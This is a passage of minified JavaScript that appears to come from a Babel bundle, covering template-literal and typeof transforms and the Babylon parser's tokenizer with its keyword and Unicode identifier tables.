m=t.file.addTemplateObject(h,o,u);a.push(m),a=a.concat(s.expressions),e.replaceWith(n.callExpression(r.tag,a))},TemplateLiteral:function(e,s){for(var a=[],o=e.get("expressions"),u=e.node.quasis,l=Array.isArray(u),c=0,u=l?u:(0,i.default)(u);;){var f;if(l){if(c>=u.length)break;f=u[c++]}else{if(c=u.next(),c.done)break;f=c.value}var p=f;a.push(n.stringLiteral(p.value.cooked));var d=o.shift();d&&(!s.opts.spec||d.isBaseType("string")||d.isBaseType("number")?a.push(d.node):a.push(n.callExpression(n.identifier("String"),[d.node])))}if(a=a.filter(function(e){return!n.isLiteral(e,{value:""})}),t(a[0])||t(a[1])||a.unshift(n.stringLiteral("")),a.length>1){for(var h=r(a.shift(),a.shift()),m=a,y=Array.isArray(m),v=0,m=y?m:(0,i.default)(m);;){var g;if(y){if(v>=m.length)break;g=m[v++]}else{if(v=m.next(),v.done)break;g=v.value}h=r(h,g)}e.replaceWith(h)}else e.replaceWith(a[0])}}}},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(10),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default=function(e){var t=e.types,r=(0,i.default)();return{visitor:{Scope:function(e){var t=e.scope;t.getBinding("Symbol")&&t.rename("Symbol")},UnaryExpression:function(e){var n=e.node,i=e.parent;if(!n[r]&&!e.find(function(e){return e.node&&!!e.node._generated})){if(e.parentPath.isBinaryExpression()&&t.EQUALITY_BINARY_OPERATORS.indexOf(i.operator)>=0){var s=e.getOpposite();if(s.isLiteral()&&"symbol"!==s.node.value&&"object"!==s.node.value)return}if("typeof"===n.operator){var a=t.callExpression(this.addHelper("typeof"),[n.argument]);if(e.get("argument").isIdentifier()){var o=t.stringLiteral("undefined"),u=t.unaryExpression("typeof",n.argument);u[r]=!0,e.replaceWith(t.conditionalExpression(t.binaryExpression("===",u,o),o,a))}else e.replaceWith(a)}}}}}},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(){return{visitor:{RegExpLiteral:function(e){var t=e.node;a.is(t,"u")&&(t.pattern=(0,i.default)(t.pattern,t.flags),a.pullFlag(t,"u"))}}}};var n=r(612),i=function(e){return e&&e.__esModule?e:{default:e}}(n),s=r(192),a=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(s);e.exports=t.default},function(e,t,r){"use strict";e.exports=r(606)},function(e,t,r){"use strict";e.exports={default:r(408),__esModule:!0}},function(e,t,r){"use strict";function n(){i(),s()}function i(){t.path=u=new o.default}function s(){t.scope=l=new o.default}t.__esModule=!0,t.scope=t.path=void 0;var a=r(364),o=function(e){return e&&e.__esModule?e:{default:e}}(a);t.clear=n,t.clearPath=i,t.clearScope=s;var u=t.path=new o.default,l=t.scope=new o.default},function(e,t){"use strict";function r(e){return e=e.split(" "),function(t){return e.indexOf(t)>=0}}function n(e,t){for(var r=65536,n=0;n<t.length;n+=2){if((r+=t[n])>e)return!1;if((r+=t[n+1])>=e)return!0}}function i(e){return e<65?36===e:e<91||(e<97?95===e:e<123||(e<=65535?e>=170&&x.test(String.fromCharCode(e)):n(e,S)))}function s(e){return e<48?36===e:e<58||!(e<65)&&(e<91||(e<97?95===e:e<123||(e<=65535?e>=170&&A.test(String.fromCharCode(e)):n(e,S)||n(e,_))))}function a(e){var t={};for(var r in D)t[r]=e&&r in e?e[r]:D[r];return t}function o(e){return 10===e||13===e||8232===e||8233===e}function u(e,t){for(var r=1,n=0;;){N.lastIndex=n;var i=N.exec(e);if(!(i&&i.index<t))return new V(r,t-n);++r,n=i.index+i[0].length}}function l(e){return e<=65535?String.fromCharCode(e):String.fromCharCode(55296+(e-65536>>10),56320+(e-65536&1023))}function c(e,t,r,n){return e.type=t,e.end=r,e.loc.end=n,this.processComment(e),e}function f(e){return e[e.length-1]}function p(e){return e&&"Property"===e.type&&"init"===e.kind&&!1===e.method}function d(e){return"JSXIdentifier"===e.type?e.name:"JSXNamespacedName"===e.type?e.namespace.name+":"+e.name.name:"JSXMemberExpression"===e.type?d(e.object)+"."+d(e.property):void 0}function h(e,t){return new J(t,e).parse()}function m(e,t){var r=new J(t,e);return r.options.strictMode&&(r.state.strict=!0),r.getExpression()}var y="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};Object.defineProperty(t,"__esModule",{value:!0});var v={6:r("enum await"),strict:r("implements interface let package private protected public static yield"),strictBind:r("eval arguments")
},g=r("break case catch continue debugger default do else finally for function if return switch throw try var while with null true false instanceof typeof void delete new in this let const class extends export import yield super"),b="ªµºÀ-ÖØ-öø-ˁˆ-ˑˠ-ˤˬˮͰ-ʹͶͷͺ-ͽͿΆΈ-ΊΌΎ-ΡΣ-ϵϷ-ҁҊ-ԯԱ-Ֆՙա-ևא-תװ-ײؠ-يٮٯٱ-ۓەۥۦۮۯۺ-ۼۿܐܒ-ܯݍ-ޥޱߊ-ߪߴߵߺࠀ-ࠕࠚࠤࠨࡀ-ࡘࢠ-ࢴࢶ-ࢽऄ-हऽॐक़-ॡॱ-ঀঅ-ঌএঐও-নপ-রলশ-হঽৎড়ঢ়য়-ৡৰৱਅ-ਊਏਐਓ-ਨਪ-ਰਲਲ਼ਵਸ਼ਸਹਖ਼-ੜਫ਼ੲ-ੴઅ-ઍએ-ઑઓ-નપ-રલળવ-હઽૐૠૡૹଅ-ଌଏଐଓ-ନପ-ରଲଳଵ-ହଽଡ଼ଢ଼ୟ-ୡୱஃஅ-ஊஎ-ஐஒ-கஙசஜஞடணதந-பம-ஹௐఅ-ఌఎ-ఐఒ-నప-హఽౘ-ౚౠౡಀಅ-ಌಎ-ಐಒ-ನಪ-ಳವ-ಹಽೞೠೡೱೲഅ-ഌഎ-ഐഒ-ഺഽൎൔ-ൖൟ-ൡൺ-ൿඅ-ඖක-නඳ-රලව-ෆก-ะาำเ-ๆກຂຄງຈຊຍດ-ທນ-ຟມ-ຣລວສຫອ-ະາຳຽເ-ໄໆໜ-ໟༀཀ-ཇཉ-ཬྈ-ྌက-ဪဿၐ-ၕၚ-ၝၡၥၦၮ-ၰၵ-ႁႎႠ-ჅჇჍა-ჺჼ-ቈቊ-ቍቐ-ቖቘቚ-ቝበ-ኈኊ-ኍነ-ኰኲ-ኵኸ-ኾዀዂ-ዅወ-ዖዘ-ጐጒ-ጕጘ-ፚᎀ-ᎏᎠ-Ᏽᏸ-ᏽᐁ-ᙬᙯ-ᙿᚁ-ᚚᚠ-ᛪᛮ-ᛸᜀ-ᜌᜎ-ᜑᜠ-ᜱᝀ-ᝑᝠ-ᝬᝮ-ᝰក-ឳៗៜᠠ-ᡷᢀ-ᢨᢪᢰ-ᣵᤀ-ᤞᥐ-ᥭᥰ-ᥴᦀ-ᦫᦰ-ᧉᨀ-ᨖᨠ-ᩔᪧᬅ-ᬳᭅ-ᭋᮃ-ᮠᮮᮯᮺ-ᯥᰀ-ᰣᱍ-ᱏᱚ-ᱽᲀ-ᲈᳩ-ᳬᳮ-ᳱᳵᳶᴀ-ᶿḀ-ἕἘ-Ἕἠ-ὅὈ-Ὅὐ-ὗὙὛὝὟ-ώᾀ-ᾴᾶ-ᾼιῂ-ῄῆ-ῌῐ-ΐῖ-Ίῠ-Ῥῲ-ῴῶ-ῼⁱⁿₐ-ₜℂℇℊ-ℓℕ℘-ℝℤΩℨK-ℹℼ-ℿⅅ-ⅉⅎⅠ-ↈⰀ-Ⱞⰰ-ⱞⱠ-ⳤⳫ-ⳮⳲⳳⴀ-ⴥⴧⴭⴰ-ⵧⵯⶀ-ⶖⶠ-ⶦⶨ-ⶮⶰ-ⶶⶸ-ⶾⷀ-ⷆⷈ-ⷎⷐ-ⷖⷘ-ⷞ々-〇〡-〩〱-〵〸-〼ぁ-ゖ゛-ゟァ-ヺー-ヿㄅ-ㄭㄱ-ㆎㆠ-ㆺㇰ-ㇿ㐀-䶵一-鿕ꀀ-ꒌꓐ-ꓽꔀ-ꘌꘐ-ꘟꘪꘫꙀ-ꙮꙿ-ꚝꚠ-ꛯꜗ-ꜟꜢ-ꞈꞋ-ꞮꞰ-ꞷꟷ-ꠁꠃ-ꠅꠇ-ꠊꠌ-ꠢꡀ-ꡳꢂ-ꢳꣲ-ꣷꣻꣽꤊ-ꤥꤰ-ꥆꥠ-ꥼꦄ-ꦲꧏꧠ-ꧤꧦ-ꧯꧺ-ꧾꨀ-ꨨꩀ-ꩂꩄ-ꩋꩠ-ꩶꩺꩾ-ꪯꪱꪵꪶꪹ-ꪽꫀꫂꫛ-ꫝꫠ-ꫪꫲ-ꫴꬁ-ꬆꬉ-ꬎꬑ-ꬖꬠ-ꬦꬨ-ꬮꬰ-ꭚꭜ-ꭥꭰ-ꯢ가-힣ힰ-ퟆퟋ-ퟻ豈-舘並-龎ff-stﬓ-ﬗיִײַ-ﬨשׁ-זּטּ-לּמּנּסּףּפּצּ-ﮱﯓ-ﴽﵐ-ﶏﶒ-ﷇﷰ-ﷻﹰ-ﹴﹶ-ﻼA-Za-zヲ-하-ᅦᅧ-ᅬᅭ-ᅲᅳ-ᅵ",E="‌‍·̀-ͯ·҃-֑҇-ׇֽֿׁׂׅׄؐ-ًؚ-٩ٰۖ-ۜ۟-۪ۤۧۨ-ۭ۰-۹ܑܰ-݊ަ-ް߀-߉߫-߳ࠖ-࠙ࠛ-ࠣࠥ-ࠧࠩ-࡙࠭-࡛ࣔ-ࣣ࣡-ःऺ-़ा-ॏ॑-ॗॢॣ०-९ঁ-ঃ়া-ৄেৈো-্ৗৢৣ০-৯ਁ-ਃ਼ਾ-ੂੇੈੋ-੍ੑ੦-ੱੵઁ-ઃ઼ા-ૅે-ૉો-્ૢૣ૦-૯ଁ-ଃ଼ା-ୄେୈୋ-୍ୖୗୢୣ୦-୯ஂா-ூெ-ைொ-்ௗ௦-௯ఀ-ఃా-ౄె-ైొ-్ౕౖౢౣ౦-౯ಁ-ಃ಼ಾ-ೄೆ-ೈೊ-್ೕೖೢೣ೦-೯ഁ-ഃാ-ൄെ-ൈൊ-്ൗൢൣ൦-൯ංඃ්ා-ුූෘ-ෟ෦-෯ෲෳัิ-ฺ็-๎๐-๙ັິ-ູົຼ່-ໍ໐-໙༘༙༠-༩༹༵༷༾༿ཱ-྄྆྇ྍ-ྗྙ-ྼ࿆ါ-ှ၀-၉ၖ-ၙၞ-ၠၢ-ၤၧ-ၭၱ-ၴႂ-ႍႏ-ႝ፝-፟፩-፱ᜒ-᜔ᜲ-᜴ᝒᝓᝲᝳ឴-៓៝០-៩᠋-᠍᠐-᠙ᢩᤠ-ᤫᤰ-᤻᥆-᥏᧐-᧚ᨗ-ᨛᩕ-ᩞ᩠-᩿᩼-᪉᪐-᪙᪰-᪽ᬀ-ᬄ᬴-᭄᭐-᭙᭫-᭳ᮀ-ᮂᮡ-ᮭ᮰-᮹᯦-᯳ᰤ-᰷᱀-᱉᱐-᱙᳐-᳔᳒-᳨᳭ᳲ-᳴᳸᳹᷀-᷵᷻-᷿‿⁀⁔⃐-⃥⃜⃡-⃰⳯-⵿⳱ⷠ-〪ⷿ-゙゚〯꘠-꘩꙯ꙴ-꙽ꚞꚟ꛰꛱ꠂ꠆ꠋꠣ-ꠧꢀꢁꢴ-ꣅ꣐-꣙꣠-꣱꤀-꤉ꤦ-꤭ꥇ-꥓ꦀ-ꦃ꦳-꧀꧐-꧙ꧥ꧰-꧹ꨩ-ꨶꩃꩌꩍ꩐-꩙ꩻ-ꩽꪰꪲ-ꪴꪷꪸꪾ꪿꫁ꫫ-ꫯꫵ꫶ꯣ-ꯪ꯬꯭꯰-꯹ﬞ︀-️︠-︯︳︴﹍-﹏0-9_",x=new RegExp("["+b+"]"),A=new RegExp("["+b+E+"]");b=E=null;var S=[0,11,2,25,2,18,2,1,2,14,3,13,35,122,70,52,268,28,4,48,48,31,17,26,6,37,11,29,3,35,5,7,2,4,43,157,19,35,5,35,5,39,9,51,157,310,10,21,11,7,153,5,3,0,2,43,2,1,4,0,3,22,11,22,10,30,66,18,2,1,11,21,11,25,71,55,7,1,65,0,16,3,2,2,2,26,45,28,4,28,36,7,2,27,28,53,11,21,11,18,14,17,111,72,56,50,14,50,785,52,76,44,33,24,27,35,42,34,4,0,13,47,15,3,22,0,2,0,36,17,2,24,85,6,2,0,2,3,2,14,2,9,8,46,39,7,3,1,3,21,2,6,2,1,2,4,4,0,19,0,13,4,159,52,19,3,54,47,21,1,2,0,185,46,42,3,37,47,21,0,60,42,86,25,391,63,32,0,449,56,264,8,2,36,18,0,50,29,881,921,103,110,18,195,2749,1070,4050,582,8634,568,8,30,114,29,19,47,17,3,32,20,6,18,881,68,12,0,67,12,65,0,32,6124,20,754,9486,1,3071,106,6,12,4,8,8,9,5991,84,2,70,2,1,3,0,3,1,3,3,2,11,2,0,2,6,2,64,2,3,3,7,2,6,2,27,2,3,2,4,2,0,4,6,2,339,3,24,2,24,2,30,2,24,2,30,2,24,2,30,2,24,2,30,2,24,2,7,4149,196,60,67,1213,3,2,26,2,1,2,0,3,0,2,9,2,3,2,0,2,0,7,0,5,0,2,0,2,0,2,2,2,1,2,0,3,0,2,0,2,0,2,0,2,0,2,1,2,0,3,3,2,6,2,3,2,3,2,0,2,9,2,16,6,2,2,4,2,16,4421,42710,42,4148,12,221,3,5761,10591,541],_=[509,0,227,0,150,4,294,9,1368,2,2,1,6,3,41,2,5,0,166,1,1306,2,54,14,32,9,16,3,46,10,54,9,7,2,37,13,2,9,52,0,13,2,49,13,10,2,4,9,83,11,7,0,161,11,6,9,7,3,57,0,2,6,3,1,3,2,10,0,11,1,3,6,4,4,193,17,10,9,87,19,13,9,214,6,3,8,28,1,83,16,16,9,82,12,9,9,84,14,5,9,423,9,838,7,2,7,17,9,57,21,2,13,19882,9,135,4,60,6,26,9,1016,45,17,3,19723,1,5319,4,4,5,9,7,3,6,31,3,149,2,1418,49,513,54,5,49,9,0,15,0,23,4,2,14,1361,6,2,16,3,6,2,1,2,4,2214,6,110,6,6,9,792487,239],D={sourceType:"script",sourceFilename:void 0,startLine:1,allowReturnOutsideFunction:!1,allowImportExportEverywhere:!1,allowSuperOutsideMethod:!1,plugins:[],strictMode:null},C="function"==typeof Symbol&&"symbol"===y(Symbol.iterator)?function(e){return void 0===e?"undefined":y(e)}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":void 0===e?"undefined":y(e)},w=function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")},P=function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+(void 0===t?"undefined":y(t)));e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)},k=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!==(void 0===t?"undefined":y(t))&&"function"!=typeof t?e:t},F=!0,T=function e(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};w(this,e),this.label=t,this.keyword=r.keyword,this.beforeExpr=!!r.beforeExpr,this.startsExpr=!!r.startsExpr,this.rightAssociative=!!r.rightAssociative,this.isLoop=!!r.isLoop,this.isAssign=!!r.isAssign,this.prefix=!!r.prefix,this.postfix=!!r.postfix,this.binop=r.binop||null,this.updateContext=null},O=function(e){function t(r){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return w(this,t),n.keyword=r,k(this,e.call(this,r,n))}return P(t,e),t}(T),B=function(e){function t(r,n){return w(this,t),k(this,e.call(this,r,{beforeExpr:F,binop:n}))}return P(t,e),t}(T),R={num:new T("num",{startsExpr:!0}),regexp:new T("regexp",{startsExpr:!0}),string:new T("string",{startsExpr:!0}),name:new T("name",{startsExpr:!0}),eof:new T("eof"),bracketL:new T("[",{beforeExpr:F,startsExpr:!0}),bracketR:new T("]"),braceL:new T("{",{beforeExpr:F,startsExpr:!0}),braceBarL:new T("{|",{beforeExpr:F,startsExpr:!0}),braceR:new T("}"),braceBarR:new T("|}"),parenL:new T("(",{beforeExpr:F,startsExpr:!0}),parenR:new T(")"),comma:new T(",",{beforeExpr:F}),semi:new T(";",{beforeExpr:F}),colon:new T(":",{beforeExpr:F}),doubleColon:new T("::",{beforeExpr:F}),dot:new T("."),question:new T("?",{beforeExpr:F}),arrow:new T("=>",{beforeExpr:F}),template:new T("template"),ellipsis:new T("...",{beforeExpr:F}),backQuote:new T("`",{startsExpr:!0}),dollarBraceL:new T("${",{beforeExpr:F,startsExpr:!0}),at:new T("@"),eq:new T("=",{beforeExpr:F,isAssign:!0}),assign:new T("_=",{beforeExpr:F,isAssign:!0}),incDec:new T("++/--",{prefix:!0,postfix:!0,startsExpr:!0}),prefix:new T("prefix",{beforeExpr:F,prefix:!0,startsExpr:!0}),logicalOR:new B("||",1),logicalAND:new B("&&",2),bitwiseOR:new B("|",3),bitwiseXOR:new B("^",4),bitwiseAND:new B("&",5),equality:new B("==/!=",6),relational:new B("</>",7),bitShift:new B("<</>>",8),plusMin:new T("+/-",{beforeExpr:F,binop:9,prefix:!0,startsExpr:!0}),modulo:new B("%",10),star:new B("*",10),slash:new B("/",10),exponent:new T("**",{beforeExpr:F,binop:11,rightAssociative:!0})},I={break:new O("break"),case:new O("case",{beforeExpr:F}),catch:new O("catch"),continue:new O("continue"),debugger:new O("debugger"),default:new O("default",{beforeExpr:F}),do:new O("do",{isLoop:!0,beforeExpr:F}),else:new O("else",{beforeExpr:F}),finally:new O("finally"),for:new O("for",{isLoop:!0}),function:new O("function",{startsExpr:!0}),if:new O("if"),return:new O("return",{beforeExpr:F}),switch:new O("switch"),throw:new O("throw",{beforeExpr:F}),try:new O("try"),var:new O("var"),let:new O("let"),const:new O("const"),while:new O("while",{isLoop:!0}),with:new O("with"),new:new O("new",{beforeExpr:F,startsExpr:!0}),this:new O("this",{startsExpr:!0}),super:new O("super",{startsExpr:!0}),class:new O("class"),extends:new O("extends",{beforeExpr:F}),export:new O("export"),import:new O("import",{startsExpr:!0}),yield:new O("yield",{beforeExpr:F,startsExpr:!0}),null:new O("null",{startsExpr:!0}),true:new O("true",{startsExpr:!0}),false:new O("false",{startsExpr:!0}),in:new O("in",{beforeExpr:F,binop:7}),instanceof:new O("instanceof",{beforeExpr:F,binop:7}),typeof:new O("typeof",{beforeExpr:F,prefix:!0,startsExpr:!0}),void:new O("void",{beforeExpr:F,prefix:!0,startsExpr:!0}),delete:new O("delete",{beforeExpr:F,prefix:!0,startsExpr:!0})};Object.keys(I).forEach(function(e){R["_"+e]=I[e]});var M=/\r\n?|\n|\u2028|\u2029/,N=new RegExp(M.source,"g"),L=/[\u1680\u180e\u2000-\u200a\u202f\u205f\u3000\ufeff]/,j=function e(t,r,n,i){w(this,e),this.token=t,this.isExpr=!!r,this.preserveSpace=!!n,this.override=i},U={braceStatement:new j("{",!1),braceExpression:new j("{",!0),templateQuasi:new j("${",!0),parenStatement:new j("(",!1),parenExpression:new j("(",!0),template:new j("`",!0,!0,function(e){return e.readTmplToken()}),functionExpression:new j("function",!0)};R.parenR.updateContext=R.braceR.updateContext=function(){if(1===this.state.context.length)return void(this.state.exprAllowed=!0);var e=this.state.context.pop();e===U.braceStatement&&this.curContext()===U.functionExpression?(this.state.context.pop(),this.state.exprAllowed=!1):e===U.templateQuasi?this.state.exprAllowed=!0:this.state.exprAllowed=!e.isExpr},R.name.updateContext=function(e){this.state.exprAllowed=!1,e!==R._let&&e!==R._const&&e!==R._var||M.test(this.input.slice(this.state.end))&&(this.state.exprAllowed=!0)},R.braceL.updateContext=function(e){this.state.context.push(this.braceIsBlock(e)?U.braceStatement:U.braceExpression),this.state.exprAllowed=!0},R.dollarBraceL.updateContext=function(){this.state.context.push(U.templateQuasi),this.state.exprAllowed=!0},R.parenL.updateContext=function(e){var t=e===R._if||e===R._for||e===R._with||e===R._while;this.state.context.push(t?U.parenStatement:U.parenExpression),this.state.exprAllowed=!0},R.incDec.updateContext=function(){},R._function.updateContext=function(){this.curContext()!==U.braceStatement&&this.state.context.push(U.functionExpression),this.state.exprAllowed=!1},R.backQuote.updateContext=function(){this.curContext()===U.template?this.state.context.pop():this.state.context.push(U.template),this.state.exprAllowed=!1};var V=function e(t,r){w(this,e),this.line=t,this.column=r},G=function e(t,r){w(this,e),this.start=t,this.end=r},W=function(){function e(){w(this,e)}return e.prototype.init=function(e,t){return this.strict=!1!==e.strictMode&&"module"===e.sourceType,this.input=t,this.potentialArrowAt=-1,this.inMethod=this.inFunction=this.inGenerator=this.inAsync=this.inPropertyName=this.inType=this.inClassProperty=this.noAnonFunctionType=!1,this.labels=[],this.decorators=[],this.tokens=[],this.comments=[],this.trailingComments=[],this.leadingComments=[],this.commentStack=[],this.pos=this.lineStart=0,this.curLine=e.startLine,this.type=R.eof,this.value=null,this.start=this.end=this.pos,this.startLoc=this.endLoc=this.curPosition(),this.lastTokEndLoc=this.lastTokStartLoc=null,this.lastTokStart=this.lastTokEnd=this.pos,this.context=[U.braceStatement],this.exprAllowed=!0,this.containsEsc=this.containsOctal=!1,this.octalPosition=null,this.invalidTemplateEscapePosition=null,this.exportedIdentifiers=[],this},e.prototype.curPosition=function(){return new V(this.curLine,this.pos-this.lineStart)},e.prototype.clone=function(t){var r=new e;for(var n in this){var i=this[n];t&&"context"!==n||!Array.isArray(i)||(i=i.slice()),r[n]=i}return r},e}(),Y=function e(t){w(this,e),this.type=t.type,this.value=t.value,this.start=t.start,this.end=t.end,this.loc=new G(t.startLoc,t.endLoc)},q=function(){function e(t,r){w(this,e),this.state=new W,this.state.init(t,r)}return e.prototype.next=function(){this.isLookahead||this.state.tokens.push(new Y(this.state)),this.state.lastTokEnd=this.state.end,this.state.lastTokStart=this.state.start,this.state.lastTokEndLoc=this.state.endLoc,this.state.lastTokStartLoc=this.state.startLoc,this.nextToken()},e.prototype.eat=function(e){return!!this.match(e)&&(this.next(),!0)},e.prototype.match=function(e){return this.state.type===e},e.prototype.isKeyword=function(e){return g(e)},e.prototype.lookahead=function(){var e=this.state;this.state=e.clone(!0),this.isLookahead=!0,this.next(),this.isLookahead=!1;var t=this.state.clone(!0);return this.state=e,t},e.prototype.setStrict=function(e){if(this.state.strict=e,this.match(R.num)||this.match(R.string)){for(this.state.pos=this.state.start;this.state.pos<this.state.lineStart;)this.state.lineStart=this.input.lastIndexOf("\n",this.state.lineStart-2)+1,--this.state.curLine;this.nextToken()}},e.prototype.curContext=function(){return this.state.context[this.state.context.length-1]},e.prototype.nextToken=function(){var e=this.curContext();return e&&e.preserveSpace||this.skipSpace(),this.state.containsOctal=!1,this.state.octalPosition=null,this.state.start=this.state.pos,this.state.startLoc=this.state.curPosition(),this.state.pos>=this.input.length?this.finishToken(R.eof):e.override?e.override(this):this.readToken(this.fullCharCodeAtPos())},e.prototype.readToken=function(e){return i(e)||92===e?this.readWord():this.getTokenFromCode(e)},e.prototype.fullCharCodeAtPos=function(){var e=this.input.charCodeAt(this.state.pos);return e<=55295||e>=57344?e:(e<<10)+this.input.charCodeAt(this.state.pos+1)-56613888},e.prototype.pushComment=function(e,t,r,n,i,s){var a={type:e?"CommentBlock":"CommentLine",value:t,start:r,end:n,loc:new G(i,s)};this.isLookahead||(this.state.tokens.push(a),this.state.comments.push(a),this.addComment(a))},e.prototype.skipBlockComment=function(){var e=this.state.curPosition(),t=this.state.pos,r=this.input.indexOf("*/",this.state.pos+=2);-1===r&&this.raise(this.state.pos-2,"Unterminated comment"),this.state.pos=r+2,N.lastIndex=t;for(var n=void 0;(n=N.exec(this.input))&&n.index<this.state.pos;)++this.state.curLine,this.state.lineStart=n.index+n[0].length;this.pushComment(!0,this.input.slice(t+2,r),t,this.state.pos,e,this.state.curPosition())},e.prototype.skipLineComment=function(e){for(var t=this.state.pos,r=this.state.curPosition(),n=this.input.charCodeAt(this.state.pos+=e);this.state.pos<this.input.length&&10!==n&&13!==n&&8232!==n&&8233!==n;)++this.state.pos,n=this.input.charCodeAt(this.state.pos);this.pushComment(!1,this.input.slice(t+e,this.state.pos),t,this.state.pos,r,this.state.curPosition())},e.prototype.skipSpace=function(){e:for(;this.state.pos<this.input.length;){var e=this.input.charCodeAt(this.state.pos);switch(e){case 32:case 160:++this.state.pos;break;case 13:10===this.input.charCodeAt(this.state.pos+1)&&++this.state.pos;case 10:case 8232:case 8233:++this.state.pos,++this.state.curLine,this.state.lineStart=this.state.pos;break;case 47:switch(this.input.charCodeAt(this.state.pos+1)){case 42:this.skipBlockComment();break;case 47:this.skipLineComment(2);break;default:break e}break;default:if(!(e>8&&e<14||e>=5760&&L.test(String.fromCharCode(e))))break e;++this.state.pos}}},e.prototype.finishToken=function(e,t){this.state.end=this.state.pos,this.state.endLoc=this.state.curPosition();var r=this.state.type;this.state.type=e,this.state.value=t,this.updateContext(r)},e.prototype.readToken_dot=function(){var e=this.input.charCodeAt(this.state.pos+1);if(e>=48&&e<=57)return this.readNumber(!0);var t=this.input.charCodeAt(this.state.pos+2);return 46===e&&46===t?(this.state.pos+=3,this.finishToken(R.ellipsis)):(++this.state.pos,this.finishToken(R.dot))},e.prototype.readToken_slash=function(){return this.state.exprAllowed?(++this.state.pos,this.readRegexp()):61===this.input.charCodeAt(this.state.pos+1)?this.finishOp(R.assign,2):this.finishOp(R.slash,1)},e.prototype.readToken_mult_modulo=function(e){var t=42===e?R.star:R.modulo,r=1,n=this.input.charCodeAt(this.state.pos+1);return 42===n&&(r++,n=this.input.charCodeAt(this.state.pos+2),t=R.exponent),61===n&&(r++,t=R.assign),this.finishOp(t,r)},e.prototype.readToken_pipe_amp=function(e){var t=this.input.charCodeAt(this.state.pos+1);return t===e?this.finishOp(124===e?R.logicalOR:R.logicalAND,2):61===t?this.finishOp(R.assign,2):124===e&&125===t&&this.hasPlugin("flow")?this.finishOp(R.braceBarR,2):this.finishOp(124===e?R.bitwiseOR:R.bitwiseAND,1)},e.prototype.readToken_caret=function(){return 61===this.input.charCodeAt(this.state.pos+1)?this.finishOp(R.assign,2):this.finishOp(R.bitwiseXOR,1)},e.prototype.readToken_plus_min=function(e){var t=this.input.charCodeAt(this.state.pos+1);return t===e?45===t&&62===this.input.charCodeAt(this.state.pos+2)&&M.test(this.input.slice(this.state.lastTokEnd,this.state.pos))?(this.skipLineComment(3),this.skipSpace(),this.nextToken()):this.finishOp(R.incDec,2):61===t?this.finishOp(R.assign,2):this.finishOp(R.plusMin,1)},e.prototype.readToken_lt_gt=function(e){var t=this.input.charCodeAt(this.state.pos+1),r=1;return t===e?(r=62===e&&62===this.input.charCodeAt(this.state.pos+2)?3:2,61===this.input.charCodeAt(this.state.pos+r)?this.finishOp(R.assign,r+1):this.finishOp(R.bitShift,r)):33===t&&60===e&&45===this.input.charCodeAt(this.state.pos+2)&&45===this.input.charCodeAt(this.state.pos+3)?(this.inModule&&this.unexpected(),this.skipLineComment(4),this.skipSpace(),this.nextToken()):(61===t&&(r=2),this.finishOp(R.relational,r))},e.prototype.readToken_eq_excl=function(e){var t=this.input.charCodeAt(this.state.pos+1);return 61===t?this.finishOp(R.equality,61===this.input.charCodeAt(this.state.pos+2)?3:2):61===e&&62===t?(this.state.pos+=2,this.finishToken(R.arrow)):this.finishOp(61===e?R.eq:R.prefix,1)},e.prototype.getTokenFromCode=function(e){switch(e){case 46:return this.readToken_dot();case 40:return++this.state.pos,this.finishToken(R.parenL);case 41:return++this.state.pos,this.finishToken(R.parenR);case 59:return++this.state.pos,this.finishToken(R.semi);case 44:return++this.state.pos,this.finishToken(R.comma);case 91:return++this.state.pos,this.finishToken(R.bracketL);case 93:return++this.state.pos,this.finishToken(R.bracketR);case 123:return this.hasPlugin("flow")&&124===this.input.charCodeAt(this.state.pos+1)?this.finishOp(R.braceBarL,2):(++this.state.pos,this.finishToken(R.braceL));case 125:return++this.state.pos,this.finishToken(R.braceR);case 58:return this.hasPlugin("functionBind")&&58===this.input.charCodeAt(this.state.pos+1)?this.finishOp(R.doubleColon,2):(++this.state.pos,this.finishToken(R.colon));case 63:return++this.state.pos,this.finishToken(R.question);case 64:return++this.state.pos,this.finishToken(R.at);case 96:return++this.state.pos,this.finishToken(R.backQuote);case 48:var t=this.input.charCodeAt(this.state.pos+1);if(120===t||88===t)return this.readRadixNumber(16);if(111===t||79===t)return this.readRadixNumber(8);if(98===t||66===t)return this.readRadixNumber(2);case 49:case 50:case 51:case 52:case 53:case 54:case 55:case 56:case 57:return this.readNumber(!1);case 34:case 39:return this.readString(e);case 47:return this.readToken_slash();case 37:case 42:return this.readToken_mult_modulo(e);case 124:case 38:return this.readToken_pipe_amp(e);case 94:return this.readToken_caret();case 43:case 45:return this.readToken_plus_min(e);case 60:case 62:return this.readToken_lt_gt(e);case 61:case 33:return this.readToken_eq_excl(e);case 126:return this.finishOp(R.prefix,1)}this.raise(this.state.pos,"Unexpected character '"+l(e)+"'")},e.prototype.finishOp=function(e,t){var r=this.input.slice(this.state.pos,this.state.pos+t);return this.state.pos+=t,this.finishToken(e,r)},e.prototype.readRegexp=function(){for(var e=this.state.pos,t=void 0,r=void 0;;){this.state.pos>=this.input.length&&this.raise(e,"Unterminated regular expression");var n=this.input.charAt(this.state.pos);if(M.test(n)&&this.raise(e,"Unterminated regular expression"),t)t=!1;else{if("["===n)r=!0;else if("]"===n&&r)r=!1;else if("/"===n&&!r)break;t="\\"===n}++this.state.pos}var i=this.input.slice(e,this.state.pos);++this.state.pos;var s=this.readWord1();if(s){/^[gmsiyu]*$/.test(s)||this.raise(e,"Invalid regular expression flag")}return 